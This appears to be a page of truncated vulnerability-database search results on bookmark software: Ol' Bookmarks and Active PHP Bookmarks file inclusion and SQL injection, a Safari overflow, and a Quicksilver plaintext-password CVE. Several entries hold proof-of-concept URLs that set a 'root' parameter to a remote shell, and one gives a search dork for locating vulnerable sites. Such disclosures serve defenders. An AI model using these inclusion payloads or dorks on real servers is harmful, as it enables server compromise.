Critical: firefox security update

1.5.0.12-0.3.el4.0.1 - Add firefox-oracle-default-bookmarks.html and firefox-oracle-default-prefs.js for errata rebuild 1.5.0.12-0.3.el4 - Add a patch to stick with major versions 1.5.0.12 / 1.8.0.12 1.5.0.12-0.2.el4 - Update to latest snapshot of Mozilla 1.8.0 branch - Include patches for Mozill...

Safari Bookmarks Buffer Overflow Vulnerability

Safari 3.0.2 522.13.1 OS Windows XP SP2 At processing title field, which consists more than 1024 bytes at addition in a bookmark there is a buffer overflow. html head...

Ol' Bookmarks Themes Root远程文件包含漏洞

Ol' Bookmarks是一款基于PHP的WEB应用程序。 Ol' Bookmarks不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是多个脚本对用户提交的'root'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 Ol' Bookmarks 0.7.4 目前没有解决方案提供： http://olbookmarks.sourceforge.net/ http://www.example.com/path/themes/blackorange.php?root=shell...

olbookmarks-sql.txt

========================================================================== Ol Bookmarks Manager 0.7.4 root Remote SQL Injection Vulnerabilities ========================================================================== Found by: Cyber-Security...

Ol Bookmarks Manager 0.7.4 (root) Remote File Inclusion Vulnerabilities

No description provided by source. Olbookmarks =0.7.4 multiple RFI root Download script : D0rk : allintitle:ol'bookmarks Thanks Str0ke Exploit : http://mesh.dl.sourceforge.net/sourceforge/olbookmarks/olbookmarks-0.7.4.tar.gz http://victime.com/olbookmarks-0.7.4/themes/test1.php?root=shell...

Ol BookMarks Manager 0.7.4 - root Remote File Inclusion

Ol BookMarks Manager 0.7.4 - root Remote File Inclusion Olbookmarks =0.7.4 multiple RFI root Download script : D0rk : allintitle:ol'bookmarks Thanks Str0ke Exploit : http://mesh.dl.sourceforge.net/sourceforge/olbookmarks/olbookmarks-0.7.4.tar.gz...

Ol BookMarks Manager 0.7.4 - SQL Injection

Ol BookMarks Manager 0.7.4 - SQL Injection ========================================================================== Ol Bookmarks Manager 0.7.4 root Remote SQL Injection Vulnerabilities ========================================================================== Found by: Cyber-Security...

Ol Bookmarks Manager 0.7.4 Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ============================================================= Ol Bookmarks Manager 0.7.4 Remote SQL Injection Vulnerability =============================================================...

Ol Bookmarks Manager 0.7.4 Remote SQL Injection Vulnerability

No description provided by source. ========================================================================== Ol Bookmarks Manager 0.7.4 root Remote SQL Injection Vulnerabilities ========================================================================== Found by: Cyber-Security...

Ol BookMarks Manager 0.7.4 - 'root' Remote File Inclusion

Olbookmarks =0.7.4 multiple RFI root Download script : D0rk : allintitle:ol'bookmarks Thanks Str0ke Exploit : http://mesh.dl.sourceforge.net/sourceforge/olbookmarks/olbookmarks-0.7.4.tar.gz http://victime.com/olbookmarks-0.7.4/themes/test1.php?root=shell...

Active PHP Bookmarks APB.PHP远程文件包含漏洞

Active PHP Bookmarks是一款基于PHP的WEB应用程序。 Active PHP Bookmarks不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是'APB.PHP'脚本对用户提交的'APBSETTINGS'apbpath''参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 Active PHP Bookmarks 1.0 目前没有解决方案提供： http://www.lbstone.com/apb/...

Active PHP BookMarks 1.0 - APB.php Remote File Inclusion

Active PHP BookMarks 1.0 - APB.php Remote File Inclusion source: https://www.securityfocus.com/bid/23670/info Active PHP Bookmarks is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromis...

Active PHP BookMarks 1.0 - 'APB.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/23670/info Active PHP Bookmarks is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attack...

CVE-2006-7069

PHP remote file inclusion vulnerability in smartyconfig.php in Socketwiz Bookmarks 2.0 and earlier allows remote attackers to execute arbitrary PHP code via the rootdir parameter...

Design/Logic Flaw

The Social Bookmarks del.icio.us plug-in 8F in Quicksilver writes usernames and passwords in plaintext to the /Library/Logs/Console/UID/Console.log file, which allows local users to obtain sensitive information by reading this file...

CVE-2007-1191

The Social Bookmarks del.icio.us plug-in 8F in Quicksilver writes usernames and passwords in plaintext to the /Library/Logs/Console/UID/Console.log file, which allows local users to obtain sensitive information by reading this file...

CVE-2007-1191

The Social Bookmarks del.icio.us plug-in 8F in Quicksilver writes usernames and passwords in plaintext to the /Library/Logs/Console/UID/Console.log file, which allows local users to obtain sensitive information by reading this file...

CVE-2007-1191

The Social Bookmarks del.icio.us plug-in 8F in Quicksilver writes usernames and passwords in plaintext to the /Library/Logs/Console/UID/Console.log file, which allows local users to obtain sensitive information by reading this file...

CVE-2007-1191

The CVE-2007-1191 issue affects the Social Bookmarks (del.icio.us) plug‑in 8F for Quicksilver. The vulnerability detail states that usernames and passwords are written in plaintext to the file /Library/Logs/Console/UID/Console.log, allowing local users to read sensitive information. This is a loc...

[Full-disclosure] Quicksilver Social Bookmark plugin v.8F: password in clear text

Quicksilver http://quicksilver.blacktree.com/ is a tool to quickly find/launch/do anything you like with all kind of files, bookmarks etcpp on MacOSX =10.3 There exists a plug-in "Social Bookmarks" to integrate and search del.icio.us bookmarks. In version 8F this plugin logs the username and...